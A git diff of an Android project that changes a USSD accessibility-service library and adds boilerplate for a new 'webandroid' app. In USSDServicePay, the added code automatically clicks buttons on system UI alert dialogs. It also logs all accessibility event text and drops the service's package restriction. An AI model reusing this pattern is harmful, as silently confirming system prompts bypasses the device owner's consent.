@@ -37,75 +38,92 @@ import java.util.List;
  */
 public class USSDService extends AccessibilityService {
 
-    private static String TAG = "USSDServiceUSSD";
+    private static final String TAG = "USSDServiceUSSD";
 
     public static AccessibilityEvent event;
 
+    @RequiresApi(api = Build.VERSION_CODES.P)
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
-            this.event = new AccessibilityEvent(event);
+            USSDService.event = new AccessibilityEvent(event);
         } else {
             Parcel parcel = Parcel.obtain();
             event.writeToParcel(parcel, 0);
             parcel.setDataPosition(0);
             AccessibilityEvent newEvent = AccessibilityEvent.CREATOR.createFromParcel(parcel);
             parcel.recycle();
-            this.event = newEvent;
+            USSDService.event = newEvent;
         }
 
-        XLog.i("USSDService Event Json : " + getEventNowRootInActiveWindow(event));
-        XLog.i(String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s" +
-                        " [ContentChangeTypes] %s [WindowChanges] %s",
-                event.getEventType(), event.getClassName(), event.getPackageName(),
-                event.getEventTime(), event.getText(), event.getContentChangeTypes(), event.getWindowChanges()));
-
-        if (USSDController.instance == null || !USSDController.instance.isRunning) {
-            XLog.e("USSDService Error : USSDController.instance = " + (USSDController.instance == null));
-            if (USSDController.instance != null) {
-                XLog.e("USSDService Error : USSDController.instance.isRunning = " + (USSDController.instance.isRunning));
+        new Handler(Looper.getMainLooper()).postDelayed(() -> {
+            Log.d("hzshkj", String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s [ContentChangeTypes] %s [WindowChanges] %s",
+                    event.getEventType(),
+                    event.getClassName(),
+                    event.getPackageName(),
+                    event.getEventTime(),
+                    event.getText(),
+                    event.getContentChangeTypes(),
+                    event.getWindowChanges()
+            ));
+            XLog.i(String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s [ContentChangeTypes] %s [WindowChanges] %s",
+                    event.getEventType(),
+                    event.getClassName(),
+                    event.getPackageName(),
+                    event.getEventTime(),
+                    event.getText(),
+                    event.getContentChangeTypes(),
+                    event.getWindowChanges()
+            ));
+
+            if (USSDController.instance == null || !USSDController.instance.isRunning) {
+                XLog.e("USSDService Error : USSDController == " + (USSDController.instance == null));
+                XLog.e("USSDService Error : USSDController.isRunning == " + (USSDController.instance.isRunning));
+//            return;
             }
-            return;
-        }
 
+            String response = event.getText().toString();
+            XLog.i("USSDService response = " + response);
 
-        String response = event.getText().toString();
-        if (LoginView(event) && notInputText(event)) {
-            XLog.i("USSDService: 1");
-            clickOnButton(event, 0);
-            USSDController.instance.isRunning = false;
-            if (USSDController.instance.send)
-                USSDController.instance.callbackMessage.over(response);
-            else
-                USSDController.instance.callbackInvoke.over(response);
-        } else if (problemView(event) || LoginView(event)) {
-            XLog.i("USSDService: 2");
-            clickOnButton(event, 1);
-            if (USSDController.instance.send)
-                USSDController.instance.callbackMessage.over(response);
-            else
-                USSDController.instance.callbackInvoke.over(response);
-
-        } else if (isUSSDWidget(event)) {
-            XLog.i("USSDService: 3");
-            if (notInputText(event)) {
-                XLog.i("USSDService: 4");
+            if (LoginView(event) && notInputText(event)) {
+                XLog.i("USSDService: 1");
                 clickOnButton(event, 0);
                 USSDController.instance.isRunning = false;
                 if (USSDController.instance.send)
                     USSDController.instance.callbackMessage.over(response);
                 else
                     USSDController.instance.callbackInvoke.over(response);
-            } else {
-                XLog.i("USSDService: 5");
+            } else if (problemView(event) || LoginView(event)) {
+                XLog.i("USSDService: 2");
+                clickOnButton(event, 1);
                 if (USSDController.instance.send)
-                    USSDController.instance.callbackMessage.responseMessage(response);
+                    USSDController.instance.callbackMessage.over(response);
                 else
-                    USSDController.instance.callbackInvoke.responseInvoke(response);
+                    USSDController.instance.callbackInvoke.over(response);
+
+            } else if (isUSSDWidget(event)) {
+
+                XLog.i("USSDService: 3");
+                if (notInputText(event)) {
+                    XLog.i("USSDService: 4");
+//                    clickOnButton(event, 0);
+                    USSDController.instance.isRunning = false;
+                    if (USSDController.instance.send)
+                        USSDController.instance.callbackMessage.over(response);
+                    else
+                        USSDController.instance.callbackInvoke.over(response);
+                } else {
+                    XLog.i("USSDService: 5");
+                    if (USSDController.instance.send)
+                        USSDController.instance.callbackMessage.responseMessage(response);
+                    else
+                        USSDController.instance.callbackInvoke.responseInvoke(response);
+                }
+            } else {
+                XLog.e("USSDService Error : 未走进任何逻辑循环");
             }
-        } else {
-            XLog.e("USSDService Error : 未走进任何逻辑循环");
-        }
+        }, 2000); // 延迟 1 秒
+
     }
 
     /**
@@ -161,8 +179,11 @@ public class USSDService extends AccessibilityService {
      */
     protected static boolean notInputText(AccessibilityEvent event) {
         boolean flag = true;
+        XLog.i("USSDService Event Json event.source = : " + event.getSource());
         for (AccessibilityNodeInfo leaf : getLeaves(event)) {
-            if (leaf.getClassName().equals("android.widget.EditText")) flag = false;
+            if (leaf.getClassName().equals("android.widget.EditText")) {
+                flag = false;
+            }
         }
         return flag;
     }
@@ -270,6 +291,8 @@ public class USSDService extends AccessibilityService {
             NodeInfoWrapper nodeInfoWrapper = traverseNode(node);
             Gson gson = new Gson();
             PageJson = gson.toJson(nodeInfoWrapper);
+        } else {
+            PageJson = PayController.getNowRootInActiveWindow();
         }
         return PageJson;
     }
@@ -336,7 +359,9 @@ public class USSDService extends AccessibilityService {
         nodeInfoWrapper.canOpenPopup = nodeInfo.canOpenPopup();
         nodeInfoWrapper.visibleToUser = nodeInfo.isVisibleToUser();
         nodeInfoWrapper.isEnabled = nodeInfo.isEnabled();
-        nodeInfoWrapper.hintText = nodeInfo.getHintText() != null ? nodeInfo.getText().toString() : "";
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            nodeInfoWrapper.hintText = nodeInfo.getHintText() != null ? nodeInfo.getText().toString() : "";
+        }
         nodeInfoWrapper.isClickable = nodeInfo.isClickable();
         nodeInfoWrapper.isLongClickable = nodeInfo.isLongClickable();
         nodeInfoWrapper.isEditable = nodeInfo.isEditable();
@@ -347,18 +372,30 @@ public class USSDService extends AccessibilityService {
         nodeInfoWrapper.isSelected = nodeInfo.isSelected();
         nodeInfoWrapper.isAccessibilityFocused = nodeInfo.isAccessibilityFocused();
         nodeInfoWrapper.isContentInvalid = nodeInfo.isContentInvalid();
-        nodeInfoWrapper.isContextClickable = nodeInfo.isContextClickable();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            nodeInfoWrapper.isContextClickable = nodeInfo.isContextClickable();
+        }
         nodeInfoWrapper.isDismissable = nodeInfo.isDismissable();
         nodeInfoWrapper.isFocusable = nodeInfo.isFocusable();
         nodeInfoWrapper.isFocused = nodeInfo.isFocused();
-        nodeInfoWrapper.isHeading = nodeInfo.isHeading();
-        nodeInfoWrapper.isImportantForAccessibility = nodeInfo.isImportantForAccessibility();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+            nodeInfoWrapper.isHeading = nodeInfo.isHeading();
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
+            nodeInfoWrapper.isImportantForAccessibility = nodeInfo.isImportantForAccessibility();
+        }
         nodeInfoWrapper.isMultiLine = nodeInfo.isMultiLine();
         nodeInfoWrapper.isPassword = nodeInfo.isPassword();
-        nodeInfoWrapper.isScreenReaderFocusable = nodeInfo.isScreenReaderFocusable();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+            nodeInfoWrapper.isScreenReaderFocusable = nodeInfo.isScreenReaderFocusable();
+        }
         nodeInfoWrapper.isScrollable = nodeInfo.isScrollable();
-        nodeInfoWrapper.isShowingHintText = nodeInfo.isShowingHintText();
-        nodeInfoWrapper.isTextEntryKey = nodeInfo.isTextEntryKey();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            nodeInfoWrapper.isShowingHintText = nodeInfo.isShowingHintText();
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            nodeInfoWrapper.isTextEntryKey = nodeInfo.isTextEntryKey();
+        }
         nodeInfoWrapper.isVisibleToUser = nodeInfo.isVisibleToUser();
 
 

+ 64 - 14
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDServicePay.java

@@ -7,33 +7,85 @@
 package com.romellfudi.ussdlibrary;
 
 import android.accessibilityservice.AccessibilityService;
-import android.app.Activity;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.PixelFormat;
-import android.graphics.Rect;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.media.projection.MediaProjection;
-import android.media.projection.MediaProjectionManager;
+import android.os.Build;
+import android.os.Parcel;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
-import android.widget.Toast;
 
 import com.elvishew.xlog.XLog;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class USSDServicePay extends AccessibilityService {
 
+    public static AccessibilityEvent event;
 
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
+        Log.d("hzshkj", String.format("*USSDServicePay onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
+                event.getEventType(), event.getClassName(), event.getPackageName(),
+                event.getEventTime(), event.getText()));
         XLog.i(String.format("*USSDServicePay onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
                 event.getEventType(), event.getClassName(), event.getPackageName(),
                 event.getEventTime(), event.getText()));
+
+        if ("com.android.systemui".contentEquals(event.getPackageName()) && isScreenWidget(event)) {
+            try {
+                clickOnButton(event, 1);
+            } catch (Exception e) {
+            }
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+            USSDServicePay.event = new AccessibilityEvent(event);
+        } else {
+            Parcel parcel = Parcel.obtain();
+            event.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            AccessibilityEvent newEvent = AccessibilityEvent.CREATOR.createFromParcel(parcel);
+            parcel.recycle();
+            USSDServicePay.event = newEvent;
+        }
+
+    }
+
+    private boolean isScreenWidget(AccessibilityEvent event) {
+        return (event.getClassName().equals("android.app.AlertDialog")
+                || event.getClassName().equals("com.android.systemui.statusbar.phone.AlertDialogWithDelegate"));
+    }
+
+    protected static void clickOnButton(AccessibilityEvent event, int index) {
+        int count = -1;
+        for (AccessibilityNodeInfo leaf : getLeaves(event)) {
+            if (leaf.getClassName().toString().toLowerCase().contains("button")) {
+                count++;
+                if (count == index) {
+                    leaf.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                }
+            }
+        }
     }
 
+    private static List<AccessibilityNodeInfo> getLeaves(AccessibilityEvent event) {
+        List<AccessibilityNodeInfo> leaves = new ArrayList<>();
+        if (event.getSource() != null) {
+            getLeaves(leaves, event.getSource());
+        }
+
+        return leaves;
+    }
+
+    private static void getLeaves(List<AccessibilityNodeInfo> leaves, AccessibilityNodeInfo node) {
+        if (node.getChildCount() == 0) {
+            leaves.add(node);
+            return;
+        }
+
+        for (int i = 0; i < node.getChildCount(); i++) {
+            getLeaves(leaves, node.getChild(i));
+        }
+    }
 
     @Override
     public void onInterrupt() {
@@ -43,11 +95,9 @@ public class USSDServicePay extends AccessibilityService {
     @Override
     protected void onServiceConnected() {
         super.onServiceConnected();
+        Log.d("hzshkj", "[USSDServicePay] onServiceConnected: "+this);
         PayController.setMyAccessibilityService(this);
     }
 
 
-
-
-
 }

+ 1 - 1
frpc_android-master/ussd-library/src/main/res/xml/ussd_service2.xml

@@ -11,4 +11,4 @@
     android:canRetrieveWindowContent="true"
     android:description="@string/accessibility_service_description2"
     android:notificationTimeout="0"
-    android:packageNames="*" />
+     />

+ 15 - 0
webandroid/.gitignore

@@ -0,0 +1,15 @@
+*.iml
+.gradle
+/local.properties
+/.idea/caches
+/.idea/libraries
+/.idea/modules.xml
+/.idea/workspace.xml
+/.idea/navEditor.xml
+/.idea/assetWizardSettings.xml
+.DS_Store
+/build
+/captures
+.externalNativeBuild
+.cxx
+local.properties

+ 3 - 0
webandroid/.idea/.gitignore

@@ -0,0 +1,3 @@
+# Default ignored files
+/shelf/
+/workspace.xml

+ 1 - 0
webandroid/.idea/.name

@@ -0,0 +1 @@
+WebApplication

+ 6 - 0
webandroid/.idea/compiler.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="CompilerConfiguration">
+    <bytecodeTargetLevel target="17" />
+  </component>
+</project>

+ 18 - 0
webandroid/.idea/deploymentTargetSelector.xml

@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="deploymentTargetSelector">
+    <selectionStates>
+      <SelectionState runConfigName="app">
+        <option name="selectionMode" value="DROPDOWN" />
+        <DropdownSelection timestamp="2024-11-25T05:42:10.156748Z">
+          <Target type="DEFAULT_BOOT">
+            <handle>
+              <DeviceId pluginId="LocalEmulator" identifier="path=/Users/hx/.android/avd/Pixel_7_Pro_API_21.avd" />
+            </handle>
+          </Target>
+        </DropdownSelection>
+        <DialogSelection />
+      </SelectionState>
+    </selectionStates>
+  </component>
+</project>

+ 19 - 0
webandroid/.idea/gradle.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="GradleMigrationSettings" migrationVersion="1" />
+  <component name="GradleSettings">
+    <option name="linkedExternalProjectsSettings">
+      <GradleProjectSettings>
+        <option name="externalProjectPath" value="$PROJECT_DIR$" />
+        <option name="gradleJvm" value="#GRADLE_LOCAL_JAVA_HOME" />
+        <option name="modules">
+          <set>
+            <option value="$PROJECT_DIR$" />
+            <option value="$PROJECT_DIR$/app" />
+          </set>
+        </option>
+        <option name="resolveExternalAnnotations" value="false" />
+      </GradleProjectSettings>
+    </option>
+  </component>
+</project>

+ 10 - 0
webandroid/.idea/migrations.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ProjectMigrations">
+    <option name="MigrateToGradleLocalJavaHome">
+      <set>
+        <option value="$PROJECT_DIR$" />
+      </set>
+    </option>
+  </component>
+</project>

+ 9 - 0
webandroid/.idea/misc.xml

@@ -0,0 +1,9 @@
+<project version="4">
+  <component name="ExternalStorageConfigurationManager" enabled="true" />
+  <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
+    <output url="file://$PROJECT_DIR$/build/classes" />
+  </component>
+  <component name="ProjectType">
+    <option name="id" value="Android" />
+  </component>
+</project>

+ 329 - 0
webandroid/.idea/other.xml

@@ -0,0 +1,329 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="direct_access_persist.xml">
+    <option name="deviceSelectionList">
+      <list>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="27" />
+          <option name="brand" value="DOCOMO" />
+          <option name="codename" value="F01L" />
+          <option name="id" value="F01L" />
+          <option name="manufacturer" value="FUJITSU" />
+          <option name="name" value="F-01L" />
+          <option name="screenDensity" value="360" />
+          <option name="screenX" value="720" />
+          <option name="screenY" value="1280" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="28" />
+          <option name="brand" value="DOCOMO" />
+          <option name="codename" value="SH-01L" />
+          <option name="id" value="SH-01L" />
+          <option name="manufacturer" value="SHARP" />
+          <option name="name" value="AQUOS sense2 SH-01L" />
+          <option name="screenDensity" value="480" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2160" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="Lenovo" />
+          <option name="codename" value="TB370FU" />
+          <option name="id" value="TB370FU" />
+          <option name="manufacturer" value="Lenovo" />
+          <option name="name" value="Tab P12" />
+          <option name="screenDensity" value="340" />
+          <option name="screenX" value="1840" />
+          <option name="screenY" value="2944" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="31" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="a51" />
+          <option name="id" value="a51" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy A51" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="akita" />
+          <option name="id" value="akita" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 8a" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="b0q" />
+          <option name="id" value="b0q" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy S22 Ultra" />
+          <option name="screenDensity" value="600" />
+          <option name="screenX" value="1440" />
+          <option name="screenY" value="3088" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="32" />
+          <option name="brand" value="google" />
+          <option name="codename" value="bluejay" />
+          <option name="id" value="bluejay" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 6a" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="caiman" />
+          <option name="id" value="caiman" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 9 Pro" />
+          <option name="screenDensity" value="360" />
+          <option name="screenX" value="960" />
+          <option name="screenY" value="2142" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="comet" />
+          <option name="id" value="comet" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 9 Pro Fold" />
+          <option name="screenDensity" value="390" />
+          <option name="screenX" value="2076" />
+          <option name="screenY" value="2152" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="29" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="crownqlteue" />
+          <option name="id" value="crownqlteue" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy Note9" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="2220" />
+          <option name="screenY" value="1080" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="dm3q" />
+          <option name="id" value="dm3q" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy S23 Ultra" />
+          <option name="screenDensity" value="600" />
+          <option name="screenX" value="1440" />
+          <option name="screenY" value="3088" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="e1q" />
+          <option name="id" value="e1q" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy S24" />
+          <option name="screenDensity" value="480" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2340" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="google" />
+          <option name="codename" value="felix" />
+          <option name="id" value="felix" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel Fold" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="2208" />
+          <option name="screenY" value="1840" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="felix" />
+          <option name="id" value="felix" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel Fold" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="2208" />
+          <option name="screenY" value="1840" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="google" />
+          <option name="codename" value="felix_camera" />
+          <option name="id" value="felix_camera" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel Fold (Camera-enabled)" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="2208" />
+          <option name="screenY" value="1840" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="gts8uwifi" />
+          <option name="id" value="gts8uwifi" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy Tab S8 Ultra" />
+          <option name="screenDensity" value="320" />
+          <option name="screenX" value="1848" />
+          <option name="screenY" value="2960" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="husky" />
+          <option name="id" value="husky" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 8 Pro" />
+          <option name="screenDensity" value="390" />
+          <option name="screenX" value="1008" />
+          <option name="screenY" value="2244" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="30" />
+          <option name="brand" value="motorola" />
+          <option name="codename" value="java" />
+          <option name="id" value="java" />
+          <option name="manufacturer" value="Motorola" />
+          <option name="name" value="G20" />
+          <option name="screenDensity" value="280" />
+          <option name="screenX" value="720" />
+          <option name="screenY" value="1600" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="komodo" />
+          <option name="id" value="komodo" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 9 Pro XL" />
+          <option name="screenDensity" value="360" />
+          <option name="screenX" value="1008" />
+          <option name="screenY" value="2244" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="google" />
+          <option name="codename" value="lynx" />
+          <option name="id" value="lynx" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 7a" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="31" />
+          <option name="brand" value="google" />
+          <option name="codename" value="oriole" />
+          <option name="id" value="oriole" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 6" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="google" />
+          <option name="codename" value="panther" />
+          <option name="id" value="panther" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 7" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="q5q" />
+          <option name="id" value="q5q" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy Z Fold5" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1812" />
+          <option name="screenY" value="2176" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="samsung" />
+          <option name="codename" value="q6q" />
+          <option name="id" value="q6q" />
+          <option name="manufacturer" value="Samsung" />
+          <option name="name" value="Galaxy Z Fold6" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1856" />
+          <option name="screenY" value="2160" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="30" />
+          <option name="brand" value="google" />
+          <option name="codename" value="r11" />
+          <option name="id" value="r11" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel Watch" />
+          <option name="screenDensity" value="320" />
+          <option name="screenX" value="384" />
+          <option name="screenY" value="384" />
+          <option name="type" value="WEAR_OS" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="30" />
+          <option name="brand" value="google" />
+          <option name="codename" value="redfin" />
+          <option name="id" value="redfin" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 5" />
+          <option name="screenDensity" value="440" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2340" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="shiba" />
+          <option name="id" value="shiba" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 8" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2400" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="33" />
+          <option name="brand" value="google" />
+          <option name="codename" value="tangorpro" />
+          <option name="id" value="tangorpro" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel Tablet" />
+          <option name="screenDensity" value="320" />
+          <option name="screenX" value="1600" />
+          <option name="screenY" value="2560" />
+        </PersistentDeviceSelectionData>
+        <PersistentDeviceSelectionData>
+          <option name="api" value="34" />
+          <option name="brand" value="google" />
+          <option name="codename" value="tokay" />
+          <option name="id" value="tokay" />
+          <option name="manufacturer" value="Google" />
+          <option name="name" value="Pixel 9" />
+          <option name="screenDensity" value="420" />
+          <option name="screenX" value="1080" />
+          <option name="screenY" value="2424" />
+        </PersistentDeviceSelectionData>
+      </list>
+    </option>
+  </component>
+</project>

+ 6 - 0
webandroid/.idea/vcs.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="VcsDirectoryMappings">
+    <mapping directory="$PROJECT_DIR$/.." vcs="Git" />
+  </component>
+</project>

+ 1 - 0
webandroid/app/.gitignore

@@ -0,0 +1 @@
+/build

+ 53 - 0
webandroid/app/build.gradle.kts

@@ -0,0 +1,53 @@
+plugins {
+    alias(libs.plugins.android.application)
+}
+
+android {
+    namespace = "com.example.webapplication"
+    compileSdk = 34
+
+    defaultConfig {
+        applicationId = "com.example.webapplication"
+        minSdk = 21
+        targetSdk = 34
+        versionCode = 1
+        versionName = "1.0"
+
+        testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
+    }
+
+    buildTypes {
+        release {
+            isMinifyEnabled = false
+            proguardFiles(
+                getDefaultProguardFile("proguard-android-optimize.txt"),
+                "proguard-rules.pro"
+            )
+        }
+    }
+    compileOptions {
+        sourceCompatibility = JavaVersion.VERSION_1_8
+        targetCompatibility = JavaVersion.VERSION_1_8
+    }
+    buildFeatures {
+        viewBinding = true
+    }
+}
+
+dependencies {
+
+    implementation(libs.appcompat)
+    implementation(libs.material)
+    implementation(libs.constraintlayout)
+    implementation(libs.lifecycle.livedata.ktx)
+    implementation(libs.lifecycle.viewmodel.ktx)
+    implementation(libs.navigation.fragment)
+    implementation(libs.navigation.ui)
+    testImplementation(libs.junit)
+    androidTestImplementation(libs.ext.junit)
+    androidTestImplementation(libs.espresso.core)
+    implementation(libs.blakj)
+    implementation(libs.okhttp3)
+    implementation(libs.okhttp3.logging.interceptor)
+
+}

+ 21 - 0
webandroid/app/proguard-rules.pro

@@ -0,0 +1,21 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile

+ 26 - 0
webandroid/app/src/androidTest/java/com/example/webapplication/ExampleInstrumentedTest.java

@@ -0,0 +1,26 @@
+package com.example.webapplication;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assertEquals("com.example.webapplication", appContext.getPackageName());
+    }
+}

+ 28 - 0
webandroid/app/src/main/AndroidManifest.xml

@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <application
+        android:allowBackup="true"
+        android:dataExtractionRules="@xml/data_extraction_rules"
+        android:fullBackupContent="@xml/backup_rules"
+        android:icon="@mipmap/ic_launcher"
+        android:label="@string/app_name"
+        android:roundIcon="@mipmap/ic_launcher_round"
